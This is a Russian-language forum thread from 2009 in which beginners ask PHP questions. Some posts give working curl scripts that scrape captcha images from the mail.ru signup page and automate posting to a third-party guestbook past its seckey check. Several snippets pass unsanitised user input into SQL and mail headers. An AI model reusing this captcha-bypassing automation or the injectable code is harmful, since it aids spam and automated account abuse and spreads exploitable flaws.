Просмотр полной версии : [php] Новичкам: задаем вопросы
commview возьми с торентов
Joker-jar
31.05.2009, 18:15
При запросе капчи передаешь реферер страницы? Я делал не на курле а на сокетах, все заголовки, пропаленные плагином, которые отправляются при запросе страницы, капчи и сабмите прописывал. Пробуй
Pashkela
31.05.2009, 18:16
Почему такой код работает нормально
$sock = fsockopen ("localhost", 660, $errno, $errstr,5);
if (!$sock)
{
echo("$errno($errstr)");
return;
}
fwrite($sock,"qwerty");
fclose ($sock);
А такой нет
$ip=getenv ("REMOTE_ADDR");
$sock = fsockopen ($ip, 660, $errno, $errstr,5);
if (!$sock)
{
echo("$errno($errstr)");
return;
}
fwrite($sock,"qwerty");
fclose ($sock);
??
потому что localhost=127.0.0.1
а getenv ("REMOTE_ADDR"); - это твой IP адрес, или того, кто посмотрит такую страничку, причем внешний.
Чтобы увидеть разницу - сделай
echo $ip;
в обоих случаях, и сразу поймешь
<?php
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
$url = 'http://win.mail.ru/cgi-bin/signup';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, "http://mail.ru/");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_exec($ch);
preg_match_all('/<td><img src="(.*?)"/', $res, $captca);
$urles = 'http://win.mail.ru/cgi-bin/'.$captca[1][0];
$urlesq = '<img src="'.$urles.'">';
echo $urlesq;
?>
Почему сие чудо не пашет? Пробовал с куками все-ровно никак... Что-нибудь предложите?
//Не надо умничать, что там 3 картинки - я знаю... Мне бы с одной разобраться))
Pashkela
31.05.2009, 19:09
а там даже не лазя в сорцы видно, что капча поделена на ТРИ картинки, адреса разные. Так что код не рабочий:)
а там даже не лазя в сорцы видно, что капча поделена на две картинки, адреса разные. Так что код не рабочий:)
а как тогда будет выглядеть рабочий? о_0
Пашкела, я же сказал, что не писать этого)))
Прочитай последнюю строчку... Для вывода других $captca[1][1] и $captca[1][2], ну и что? дело не в этом! Дело в том, что ВМЕСТО всех каптчах он пишет 000 (значит, что не правильно сгенерирована), но если этот же код просто в строке браузера захерачить, то все норм...
.:EnoT:.
31.05.2009, 19:21
а как тогда будет выглядеть рабочий? о_0
Рабочий выглядет вот так!
http://rostov.kp.ru/upimg/photo/130186.jpg
а как тогда будет выглядеть рабочий? о_0
Пашкела, я же сказал, что не писать этого)))
Прочитай последнюю строчку... Для вывода других $captca[1][1] и $captca[1][2], ну и что? дело не в этом! Дело в том, что ВМЕСТО всех каптчах он пишет 000 (значит, что не правильно сгенерирована), но если этот же код просто в строке браузера захерачить, то все норм...
У меня всё работает.Странно,да ?
Pashkela
31.05.2009, 19:24
Вот код для выдергивания всех трёх кусков (регулярка совсем другая уже):
<pre>
<?php
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
$url = 'http://win.mail.ru/cgi-bin/signup';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, "http://mail.ru/");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_exec($ch);
preg_match_all('|<td><img src="(.*)".*></td>|', $res, $captca);
print_r($captca);
$urles = 'http://win.mail.ru/cgi-bin/'.$captca[1][0];
$urlesq = '<img src="'.$urles.'">';
echo $urlesq;
$urles = 'http://win.mail.ru/cgi-bin/'.$captca[1][1];
$urlesq = '<img src="'.$urles.'">';
echo $urlesq;
$urles = 'http://win.mail.ru/cgi-bin/'.$captca[1][2];
$urlesq = '<img src="'.$urles.'">';
echo $urlesq;
?>
</pre>
А почему нули - наверное надо таки куки или рефер подставлять, в общем юзать плагины в FF, чтобы понять, что к чему, видать не все параметры передаются:)))
Мне просто некогда, бежать надо. Потом приду - мож что и придумаю
как и чем это расшифровать?
"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAA ImDA6hy5rW0HGosffsdTpqvFlg".
"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
wildshaman
31.05.2009, 20:48
как и чем это расшифровать?
"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAA ImDA6hy5rW0HGosffsdTpqvFlg".
"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
$str = 'R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAA AImDA6hy5rW0HGosffsdTpqvFlgt0hkyZ3Q6qloZ7JimomVEb+ uXAAAOw==';
echo base64_decode($str);
пробовал... но выдает он ппц...
"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAA ImDA6hy5rW0HGosffsdTpqvFlg". "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
это
GIF89a!щ,Ђ& ЎЛљЦРqЁ±чмu:jјY`·HdЙќРк©hgІbљ •ї®\;
бред)...
wildshaman
31.05.2009, 20:58
пробовал... но выдает он ппц...
"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAA ImDA6hy5rW0HGosffsdTpqvFlg". "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
это
GIF89a!щ,Ђ& ЎЛљЦРqЁ±чмu:jјY`·HdЙќРк©hgІbљ •ї®\;
бред)...
ничего не бред, это точно base64
Это GIF картинка зашифрованая!
<?php
$str = 'R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAA AImDA6hy5rW0HGosffsdTpqvFlgt0hkyZ3Q6qloZ7JimomVEb+ uXAAAOw==';
header ("Content-type: image/gif");
echo base64_decode($str);
?>
Таким методом впихивают картинки в сам php,для вывода их по определённой ссылке.
Вот кому интересно о этом... http://forum.xakep.ru/m_1235083/tm.htm
-Hormold-
01.06.2009, 15:50
Не могу понять как это сделать....
Есть большой текст, и в нём есть нужное мне слово.
Предположим это слово: "Web".
Нужно сделать на вывод такой текст:
(10 символов до слова)(слово)(10 символов после слова)
Естественно без "(" и ")".
Перепробовал разные функции, не могу понять какая так делает...
Спасибки ;)
wildshaman
01.06.2009, 16:00
Не могу понять как это сделать....
Есть большой текст, и в нём есть нужное мне слово.
Предположим это слово: "Web".
Нужно сделать на вывод такой текст:
(10 символов до слова)(слово)(10 символов после слова)
Естественно без "(" и ")".
Перепробовал разные функции, не могу понять какая так делает...
Спасибки ;)
<?
$str="тут корчое много много текста тутwebтут снова очень очень много текста";
$what='web';
echo substr($str, strpos($str, $what)-10, 10)."<br>";
echo substr($str, strpos($str, $what)+strlen($what), 10)."<br>";
?>
$search = "abrakadabra";
preg_match('#(.*){10}'.$search.'(.*){10}#',$text,$ match);
print_r($match);
Привет, у меня есть вопрос. Хотел спросить считаетса ли хорошим стилем программирования большой список аргументов передаваемые в класс при его инициализации?
Привер:
<?php
class TSymbol
{
protected $var1;
protected $var2;
# .....
protected $varN;
function TSymbol($var1="",$var2="",...,$varN="")
{
$this->var1 = $var1;
$this->var2 = $var2;
# ......
$this->varN= $varN;
}
} //TSymbol
?>
# В другом скрипте
require_once("TSymbol.inc");
symbol = new TSymbol($new_var1,$new_var2,...,$new_varN);
Хотел спросить если количество переменны будет к примеру 10, являетса ли это эфективно при передачи такого количества идентификаторов в класс?
А зачем столько переменных? Можно ведь массив передавать
Joker-jar
02.06.2009, 10:56
krypt3r, не в этом вопрос. Думаю, передавать нужно то, что действительно необходимо при инициализации плюс, если хочется, 1-2 ключевые настройки, остальное в виде свойств.
Люди, дайте код простенькой формы обратной связи, нужно срочно!!! Кто первый поможет с сабжем - отдам шестизнак 786577 cl
Неактуально!!!
m0Hze, выходи в аську, я стукну ;)
http://www.google.com/search?hl=ru&q=%D0%BA%D0%BE%D0%B4++%D1%84%D0%BE%D1%80%D0%BC%D1% 8B+%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B 9+%D1%81%D0%B2%D1%8F%D0%B7%D0%B8&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=
_)
Самый простой вариант.
<form method="POST">
<input type="text" name="name">
<input type="text" name="email">
<input type="text" name ="subject"><br />
<input type="text" name="body"/>
</form>
<?php
/**
* @author m0hze
* @copyright 2009
*/
$Name = "Support@Mysite.ru"; //senders name
$email = "mmf@mail.ru"; //senders e-mail adress
$recipient = "outSenders@mmf.com"; //recipient
$mail_body = 'Меня зовут:'.$_POST['name'].'<br>У меня проблема:'.$_POST['body'].'<br>Мой E-mail для связи:'.$_POST['email']; //mail body
$subject = $_POST['subject']; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields
mail($recipient, $subject, $mail_body, $header); //mail command :)
?>
Приходит на мыло
m0Hze спасибо! То что нужно.
Ну вот как обычно на всех форумах, много лиреческих вопросов "зачем" и "почему"?
Модель которой придерживаюсь я:
Модель (файл залит на upload.com.ua) (http://upload.com.ua/get/900883772/)
У меня такая структура
index_view.php
<?php
class index_view
{
function __construct()
{
index_view::showpage();
} //_construct
function showpage()
{
require_once("index_controllers.php");
$controllers = new index_controllers("SELECT * FROM news");
while($table=mysql_fetch_object($controllers->query_db))
echo $table->data.'<br>'.$table->message.'<br><br>';
} //showpage
}
?>
index_controllers.php
<?php
class index_controllers
{
public $query_db;
function __construct($query_in_controlls="") {
# Берем из конфига настройки к БД
require_once("config_suit.php");
$config = new config_suit;
# Передаем их в модель
require_once("index_module.php");
$model = new index_module($config->databaselocalhost,
$config->databaseusername,
$config->databaseuserpass,
$config->databaseuserdb,
$query_in_controlls);
$this->get_query_db($model->query);
} //__construct
function get_query_db($obj)
{
// Если ошибки записываем их в "Лог" файл взаимодейстия на схеме
$this->query_db=$obj;
} //get_query_db
} //index_controllers
?>
index_module.php
<?php
class index_module
{
public $query;
function __construct ($databaselocalhost,
$databaseusername,
$databaseuserpass,
$databaseuserdb,
$query_in_model)
{
$connect=mysql_connect($databaselocalhost,
$databaseusername,
$databaseuserpass);
$connect_db =mysql_select_db($databaseuserdb,$connect);
$this->query = mysql_query($query_in_model);
} //__construct
} //index_module
?>
и config_suit.php
<?php
class config_suit
{
# Настройки к БД
var $databaselocalhost = "localhost";
var $databaseusername = "username";
var $databaseuserpass = "userpass";
var $databaseuserdb = "userdb";
} //config_suit.php
?>
Как вы уже видете с представления "вид" передаетса в "контроллер" сам запрос на выборку из БД, притом в "контроллере" подключаетса файл "конфигурации" и предаютса запрос и настройки из конфига для БД в "модель" после всех операций с "модели" данный для проверки отдаютса "контроллеру" а тот уже проверенные данные передает в "вид".
Я думаю модель (MCV) ясна, по коду возможны опечатки, так как не тестировалось и убраны всё возвожные проверки данных для облегчения кода.
Вот сообственно вопрос, повторюсь по уже сказанному
.... считаетса ли хорошим стилем программирования большой список аргументов передаваемые в класс при его инициализации?
<?php
class TSymbol
{
protected $var1;
protected $var2;
# .....
protected $varN;
function TSymbol($var1="",$var2="",...,$varN="")
{
$this->var1 = $var1;
$this->var2 = $var2;
# ......
$this->varN= $varN;
}
} //TSymbol
?>
# В другом скрипте
<?php
require_once("TSymbol.inc");
symbol = new TSymbol($new_var1,$new_var2,...,$new_varN);
?>
Хотел спросить если количество переменны будет к примеру 10, являетса ли это эфективно при передачи такого количества идентификаторов в класс?
Самый простой вариант.....
Самый самый самый простой вариант
<a href="mailto:support@mysite.ru?subject=трабли на сайте">сообщить об ошибки</a>
Есть страница.
Нужно курлом получить кей со страницы и сразу же отправить его. Как быть?
т.е при каждом заходе генериться новый кей
erihtoney
02.06.2009, 15:14
Самый самый самый простой вариант
<a href="mailto:support@mysite.ru?subject=трабли на сайте">сообщить об ошибки</a>
на название темы посмотрите
mailbrush
02.06.2009, 15:22
Есть страница.
Нужно курлом получить кей со страницы и сразу же отправить его. Как быть?
т.е при каждом заходе генериться новый кей
Регулярные выражения.
Самый самый самый простой вариант
<a href="mailto:support@mysite.ru?subject=трабли на сайте">сообщить об ошибки</a>
Тут вообще открывается компоннент браузера, чтобы отправить...
Ну так сначала же заходишь и выдираешь кей из страницы а потом уже опять заходишь и передаешь параметер и он уже меняеться..
Вот,работает,только кодировку сменить придеться похоже ри передаче сообщения.А иначе можеш посмотреть что получаеться у себя в шб.
Код:
<?php
/**
* @author m0hze
* @copyright 2009
*/
if(!isset($_GET['name'])){
$exec = curl_init('http://geforse.my1.ru/gb/');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($exec, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($exec, CURLOPT_REFERER, 'http://geforse.my1.ru/gb/');
curl_setopt($exec, CURLOPT_HEADER, 1);
$page = curl_exec($exec);
preg_match('#name="seckey" value="([0-9]+)"#', $page, $key);
$seckey = $key[1];
preg_match('#src="http://geforse.my1.ru/secure/\?k=' . $seckey .
';s=gb;tm=(.*)"#', $page, $url_key);
$url = 'http://geforse.my1.ru/secure/?k=' . $seckey . ';s=gb;tm=' . $url_key[1];
echo '<form action="" method="GET">
Введите имя: <input type="text" name="name"><br>
Введите Email: <input type="text" name="email"><br>
Введите WWW: <input type="text" name="url"><br>
Введите сообщение: <input type="text" name="message"><br>
Введите Icon: <input type="text" name="key"><img src="' . $url . '"><br>
<input type="hidden" name="seckey" value="' . $seckey . '">
<input type="submit">';
}elseif(isset($_GET['name'])) {
$curl = curl_init('http://geforse.my1.ru/gb/');
echo $post = 'name=' . $_GET['name'] . '&email=' . $_GET['email'] . '&url=' . $_GET['url'] .
'&message=' . $_GET['message'] . '&code=' . $_GET['key'] . '&seckey=' . $_GET['seckey'] .
'&a=8&sos=752002698';
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($curl, CURLOPT_REFERER, 'http://geforse.my1.ru/gb/');
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
$send = curl_exec($curl);
echo $send;
}
?>
Лучше гнаписать самому.А так,в гугле вбей: набор движков файлообменников 15.
есть код:
$a = "11";
echo "$a";
можно ли както изменить переменную $a запросом типа index.php?a=12 ???
wildshaman
02.06.2009, 19:21
EP']есть код:
$a = "11";
echo "$a";
можно ли както изменить переменную $a запросом типа index.php?a=12 ???
нет, здесь нету $a=$_GET['a']
Файрфокс передаёт постом значение:
value=_девять_цифр;
В исходном .html коде данного значения нет
В куках тоже нет
В хедере тоже нет
Но раз файрфокс "видит" и передаёт данное значение, то выходит и я его как-то могу углядеть ?)
Где я ещё забыл посмотреть ?
всё уже обрыскал :(
mailbrush
02.06.2009, 19:28
EP']есть код:
можно ли както изменить переменную $a запросом типа index.php?a=12 ???
Можно.
$a=$_GET['a'];
echo $a;
mailbrush
02.06.2009, 19:37
Файрфокс передаёт постом значение:
value=_девять_цифр;
В исходном .html коде данного значения нет
В куках тоже нет
В хедере тоже нет
Но раз файрфокс "видит" и передаёт данное значение, то выходит и я его как-то могу углядеть ?)
Где я ещё забыл посмотреть ?
всё уже обрыскал :(
php.net/time
Это юникс-тайм.
Можно.
$a=$_GET['a'];
echo $a;
а если надо чтобы изначально переменная была чемуто равна?
wildshaman
02.06.2009, 19:39
EP']а если надо чтобы изначально переменная была чемуто равна?
если ты про чужой скрипт, то НЕЛЬЗЯ.
нет не чужой....
разобрался:
Вот что надо было:
if (!isset($a))
$a=57;
echo "$a";
php.net/time
Это юникс-тайм.
Тоже так думал, но это значение меняется примерно раз в сутки...попробовал подставить time() ... не принимает сервер(
Плагин для файофокс Tamper Data сохранил этот пост запрос в xml ... вот это значение:
<tdPostElement name="sos">
752002698
</tdPostElement>
вчера цифры были другие, сегодня весь день они не меняются(
Здравствуйте, можно ли на php сделать некую базу данных, например ввиде таблицы:
[1]-[2]-(3)
[4]-[5]-(6)
[7]-[8]-(9)
вот то что в круглых скобках чтобы менялось, то есть забил туда данные и сохранил, захотел поменять, вбил в форму другие данные и сохранил.
Тут вообще открывается компоннент браузера, чтобы отправить...
Правильно, а зачем изобретать колесо для простейшей функции отправки мыла?
mailbrush
02.06.2009, 22:14
Здравствуйте, можно ли на php сделать некую базу данных, например ввиде таблицы:
[1]-[2]-(3)
[4]-[5]-(6)
[7]-[8]-(9)
вот то что в круглых скобках чтобы менялось, то есть забил туда данные и сохранил, захотел поменять, вбил в форму другие данные и сохранил.
MySQL для тебя.
Правильно, а зачем изобретать колесо для простейшей функции отправки мыла?
Человек попросил НОРМАЛЬНУЮ форму контакта, т.е. обратной связи на PHP. Ты ему тыкнул на HTML mailto, для которой надо иметь зарегистрированый почтовик. В форме контакта это делать не обязательно, плюс в PHP это удобнее. Разницу чувствуешь?
К посту выше, все хотят зделать елементарные вещи посредством мощных инструментов
Вот к примеру юморной пример (РАЗБЕРИТЕСЬ в нем, пержде чем критиковать?)
Эволюция программиста
High School/Jr.High
10 PRINT "HELLO WORLD"
20 END
First year in College
program Hello(input, output)
begin
writeln('Hello World')
end.
Senior year in College
(defun hello
(print
(cons 'Hello (list 'World))))
New professional
#include
void main(void)
{
char *message[] = {"Hello ", "World"};
int i;
for(i = 0; i < 2; ++i)
printf("%s", message[i]);
printf("\n");
}
Seasoned professional
#include
#include
class string
{
private:
int size;
char *ptr;
public:
string() : size(0), ptr(new char('\0')) {}
string(const string &s) : size(s.size)
{
ptr = new char[size + 1];
strcpy(ptr, s.ptr);
}
~string()
{
delete [] ptr;
}
friend ostream &operator <<(ostream &, const string &);
string &operator=(const char *);
};
ostream &operator<<(ostream &stream, const string &s)
{
return(stream << s.ptr);
}
string &string::operator=(const char *chrs)
{
if (this != &chrs)
{
delete [] ptr;
size = strlen(chrs);
ptr = new char[size + 1];
strcpy(ptr, chrs);
}
return(*this);
}
int main()
{
string str;
str = "Hello World";
cout << str << endl;
return(0);
}
Master Programmer
[
uuid(2573F8F4-CFEE-101A-9A9F-00AA00342820)
]
library LHello
{
// bring in the master library
importlib("actimp.tlb");
importlib("actexp.tlb");
// bring in my interfaces
#include "pshlo.idl"
[
uuid(2573F8F5-CFEE-101A-9A9F-00AA00342820)
]
cotype THello
{
interface IHello;
interface IPersistFile;
};
};
[
exe,
uuid(2573F890-CFEE-101A-9A9F-00AA00342820)
]
module CHelloLib
{
// some code related header files
importheader();
importheader();
importheader();
importheader("pshlo.h");
importheader("shlo.hxx");
importheader("mycls.hxx");
// needed typelibs
importlib("actimp.tlb");
importlib("actexp.tlb");
importlib("thlo.tlb");
[
uuid(2573F891-CFEE-101A-9A9F-00AA00342820),
aggregatable
]
coclass CHello
{
cotype THello;
};
};
#include "ipfix.hxx"
extern HANDLE hEvent;
class CHello : public CHelloBase
{
public:
IPFIX(CLSID_CHello);
CHello(IUnknown *pUnk);
~CHello();
HRESULT __stdcall PrintSz(LPWSTR pwszString);
private:
static int cObjRef;
};
#include
#include
#include
#include
#include "thlo.h"
#include "pshlo.h"
#include "shlo.hxx"
#include "mycls.hxx"
int CHello::cObjRef = 0;
CHello::CHello(IUnknown *pUnk) : CHelloBase(pUnk)
{
cObjRef++;
return;
}
HRESULT __stdcall CHello::PrintSz(LPWSTR pwszString)
{
printf("%ws\n", pwszString);
return(ResultFromScode(S_OK));
}
CHello::~CHello(void)
{
// when the object count goes to zero, stop the server
cObjRef--;
if( cObjRef == 0 )
PulseEvent(hEvent);
return;
}
#include
#include
#include "pshlo.h"
#include "shlo.hxx"
#include "mycls.hxx"
HANDLE hEvent;
int _cdecl main(
int argc,
char * argv[]
){
ULONG ulRef;
DWORD dwRegistration;
CHelloCF *pCF = new CHelloCF();
hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
// Initialize the OLE libraries
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CoRegisterClassObject(CLSID_CHello, pCF, CLSCTX_LOCAL_SERVER,
REGCLS_MULTIPLEUSE, &dwRegistration);
// wait on an event to stop
WaitForSingleObject(hEvent, INFINITE);
// revoke and release the class object
CoRevokeClassObject(dwRegistration);
ulRef = pCF->Release();
// Tell OLE we are going away.
CoUninitialize();
return(0); }
extern CLSID CLSID_CHello;
extern UUID LIBID_CHelloLib;
CLSID CLSID_CHello = { /* 2573F891-CFEE-101A-9A9F-00AA00342820 */
0x2573F891,
0xCFEE,
0x101A,
{ 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
};
UUID LIBID_CHelloLib = { /* 2573F890-CFEE-101A-9A9F-00AA00342820 */
0x2573F890,
0xCFEE,
0x101A,
{ 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
};
#include
#include
#include
#include
#include
#include "pshlo.h"
#include "shlo.hxx"
#include "clsid.h"
int _cdecl main(
int argc,
char * argv[]
){
HRESULT hRslt;
IHello *pHello;
ULONG ulCnt;
IMoniker * pmk;
WCHAR wcsT[_MAX_PATH];
WCHAR wcsPath[2 * _MAX_PATH];
// get object path
wcsPath[0] = '\0';
wcsT[0] = '\0';
if( argc > 1) {
mbstowcs(wcsPath, argv[1], strlen(argv[1]) + 1);
wcsupr(wcsPath);
}
else {
fprintf(stderr, "Object path must be specified\n");
return(1);
}
// get print string
if(argc > 2)
mbstowcs(wcsT, argv[2], strlen(argv[2]) + 1);
else
wcscpy(wcsT, L"Hello World");
printf("Linking to object %ws\n", wcsPath);
printf("Text String %ws\n", wcsT);
// Initialize the OLE libraries
hRslt = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if(SUCCEEDED(hRslt)) {
hRslt = CreateFileMoniker(wcsPath, &pmk);
if(SUCCEEDED(hRslt))
hRslt = BindMoniker(pmk, 0, IID_IHello, (void **)&pHello);
if(SUCCEEDED(hRslt)) {
// print a string out
pHello->PrintSz(wcsT);
Sleep(2000);
ulCnt = pHello->Release();
}
else
printf("Failure to connect, status: %lx", hRslt);
// Tell OLE we are going away.
CoUninitialize();
}
return(0);
}
Apprentice Hacker
#!/usr/local/bin/perl
$msg="Hello, world.\n";
if ($#ARGV >= 0) {
while(defined($arg=shift(@ARGV))) {
$outfilename = $arg;
open(FILE, ">" . $outfilename) || die "Can't write $arg: $!\n";
print (FILE $msg);
close(FILE) || die "Can't close $arg: $!\n";
}
} else {
print ($msg);
}
1;
Experienced Hacker
#include
#define S "Hello, World\n"
main(){exit(printf(S) == strlen(S) ? 0 : 1);}
Seasoned Hacker
% cc -o a.out ~/src/misc/hw/hw.c
% a.out
Guru Hacker
% cat
Hello, world.
^D
New Manager
10 PRINT "HELLO WORLD"
20 END
Middle Manager
mail -s "Hello, world." bob@b12
Bob, could you please write me a program that prints "Hello,
world."?
I need it by tomorrow.
^D
Senior Manager
% zmail jim
I need a "Hello, world." program by this afternoon.
Chief Executive
% letter
letter: Command not found.
% mail
To: ^X ^F ^C
% help mail
help: Command not found.
% damn!
!: Event unrecognized
% logout
Из примера видно, что зачем делать элементарные вещи сильно заумными?
Хотя немного не профессиональный форум, на мой вопрос про модель MVC не кто не удостоилса дать ответ, за то обратили внимание на простейший пример с отправкой мыла? :rolleyes:
mailbrush
02.06.2009, 22:18
К посту выше, все хотят зделать елементарные вещи посредством мощных инструментов
Вот к примеру юморной пример (РАЗБЕРИТЕСЬ в нем, пержде чем критиковать?)
Из примера видно, что зачем делать элементарные вещи сильно заумными?
Скопипастил код, стал самым умным?
Хотя немного не профессиональный форум, на мой вопрос про модель MVC не кто не удостоилса дать ответ, за то обратили внимание на простейший пример с отправкой мыла? :rolleyes:
Посмотри пост выше, там ответ. Тебе чем-то не нравится наш форум? - Пожалуйста, есть еще много "подобных" ему...
Человек попросил НОРМАЛЬНУЮ форму контакта, т.е. обратной связи на PHP. Ты ему тыкнул на HTML mailto, для которой надо иметь зарегистрированый почтовик. В форме контакта это делать не обязательно, плюс в PHP это удобнее. Разницу чувствуешь?
MailBrush, вы наверное невнимательно читаете сообщения, человек просил
"Люди, дайте код простенькой формы обратной связи, нужно срочно!!! " Если у вас есть хоть малейшое компьютерное образование, то вы должны отличать понятия "форма" и "код", и если просят "простенькой"?! то явно не нужно было писать код PHP+JavaScript? Разницу улавливаете? Будте внимательны :rolleyes:
Скопипастил код, стал самым умным?
Mailbrush, вы всё также не внимательны, во первых это пример, а во вторых, я не где не указывал, что это мой код и знаков покирайтов там явно не было.
Ваши емоции "самый умный" сыльно выражают вашу умственную незрелось, и подвергают вас сильным нервным растройствам.
Не будем офтопить тему.
Apprentice Hacker второй строкой не забудет написать use strict; =)
Тут вообще открывается компоннент браузера, чтобы отправить...
Mailbrush, вы говорите "компоненнт браузера??" вам не смешно? мне да ;-) к примеру OC Windows браузер FireFox, при переходи на ссылку mailto открываетса OutLock Express, либо другой мейловый агент который выставлен по дефолу, возмем ОС Linux при переходе с браузреа Opera открываетса почтовый клиент Evolution, возникает вопрос? как может Outlock express быть компонентов браузер FireFox, и Evolution компонентов Opara странно?
Apprentice Hacker второй строкой не забудет написать use strict; =)
:rolleyes:
erihtoney
03.06.2009, 11:15
Хотя немного не профессиональный форум, на мой вопрос про модель MVC не кто не удостоилса дать ответ, за то обратили внимание на простейший пример с отправкой мыла?
вы скорее всего на самом деле не прочитали название темы,и вообще,в первом посте написано:
В этой специальной теме новички могут задавать простые вопросы по языку PHP.
свои вопросы, вы можете задать на phpclub.ru
"Люди, дайте код простенькой формы обратной связи, нужно срочно!!! " Если у вас есть хоть малейшое компьютерное образование, то вы должны отличать понятия "форма" и "код", и если просят "простенькой"?! то явно не нужно было писать код PHP+JavaScript? Разницу улавливаете? Будте внимательны
если человек задал вопрос в теме PHP новичкам подразумевается, что он не хочет поставить ссылку на чей-то адрес электронной почты, это и дураку понятно, зачем устраивать в теме никому не нужные разборки?!
А внимательным нужно быть вам и смотреть, в какой теме отписываетесь!
как это:
<vehicle id="vehicle (Sultan) (1)" color="4,1,0,0" dimension="0" interior="0" model="560" plate="UIYS KRS" posX="2508.4140625" posY="-1677.3126220703" posZ="13.188947677612" rotX="0" rotY="0" rotZ="325.33508300781" upgrades="" />
конвертировать в это:
Add(560, 2508.4140625, -1677.3126220703, 13.188947677612, 0, 0, 325.33508300781);
Можно так:
<?php
$text=<<<HERE
<vehicle id="vehicle (Sultan) (1)" color="4,1,0,0" dimension="0" interior="0" model="560" plate="UIYS KRS" posX="2508.4140625" posY="-1677.3126220703" posZ="13.188947677612" rotX="0" rotY="0" rotZ="325.33508300781" upgrades="" />
HERE;
preg_match('/model="(\d+)" plate=".+" posX="([\-\.\d]+)" posY="([\-\.\d]+)" posZ="([\-\.\d]+)" rotX="([\-\.\d]+)" rotY="([\-\.\d]+)" rotZ="([\-\.\d]+)" upgrades=""/is',$text,$m);
print "Add({$m[1]}, {$m[2]}, {$m[3]}, {$m[4]}, {$m[5]}, {$m[6]}, {$m[7]});";
?>
wildshaman
03.06.2009, 21:59
как это:
<vehicle id="vehicle (Sultan) (1)" color="4,1,0,0" dimension="0" interior="0" model="560" plate="UIYS KRS" posX="2508.4140625" posY="-1677.3126220703" posZ="13.188947677612" rotX="0" rotY="0" rotZ="325.33508300781" upgrades="" />
конвертировать в это:
Add(560, 2508.4140625, -1677.3126220703, 13.188947677612, 0, 0, 325.33508300781);
''? как так кодировать? тут просто вижимо жабаскрипто передаются определенные параметры (координаты)
ругается )
Parse error: syntax error, unexpected T_SL in 1:\2\3.php on line 2
wildshaman, это координат из игры)
Убери пробелы после строки
HERE;
и после строки
$text=<<<HERE
форум добавляет, исходник коверкается...
неа, не помогает..
после
$text=<<<HERE тоже убрал..
Ну если никак не можешь поправить, то скачай отсюда)
http://rapidshare.de/files/47405385/t.php.html
Есть к примеру переменная с такой записью
$icq = 827777;
И как определить программно на php что она вида XYZ? (думаю вопрос понятен)
Только что тема была,вчера помоему.
Там енот написал простую функцию для опеределения.
FireFenix
05.06.2009, 01:18
Есть к примеру переменная с такой записью
$icq = 827777;
И как определить программно на php что она вида XYZ? (думаю вопрос понятен)
is_numeric() — Проверяет, является ли переменная числом или числовой строкой
Есть к примеру переменная с такой записью
$icq = 827777;
И как определить программно на php что она вида XYZ? (думаю вопрос понятен)
<?php
$icq = '827777';
$result = count_chars($icq, 1);
if (count($result)==3)
echo $icq.' является XYZ';
else
echo $icq.' не является XYZ';
?>
Вот еще такой вопрос
К примеру в директории test_dir храниться важная инфа
Мне нужно чтобы она скрывалась от чужих глаз но и при этом к этой папке (и к его файлам) был свободный доступ от определенного php скрипта(с моего веб сайта)! (собираюсь от туда впихивать содержимое определенного файла в <textarea>)
Я токо знаю что наверняка надо что-то мудрить с .htaccess
m0nsieur
05.06.2009, 11:03
попробуй так, создать .htaccess в той папке куда доступ закрыть хочешь извне, файловые операции чтения/записи пройдут.
Order Deny,Allow
Deny from all
Дан скрипт авторизации.
Пользователь вводит логин и пароль.
Происходит сверение данных.
Все отлично.
Затем хочу добавить скрипт записи логина, IP, даты посещения.
В отдельной таблице. users_ip например.
Но запись не происходит.
Если бы указал неправильно переменные - вывелась ошибка.
А тут ХЗ в чем проблема.
Поля
`user_login`, `user_ip`, `user_data`
Сам скрипт. Его части.
$username = $_POST['username'];
$ip=$_SERVER["REMOTE_ADDR"];
$date=("Y-m-d");
....
$result = mysql_query("INSERT INTO `users_ip` ('user_login' , 'user_ip' , 'user_data') VALUES('$username', '$ip', '$data'");
FireFenix
05.06.2009, 17:55
У тебя ошибка. Ты получаешь переменную $date, а в запросе используешь $data :)
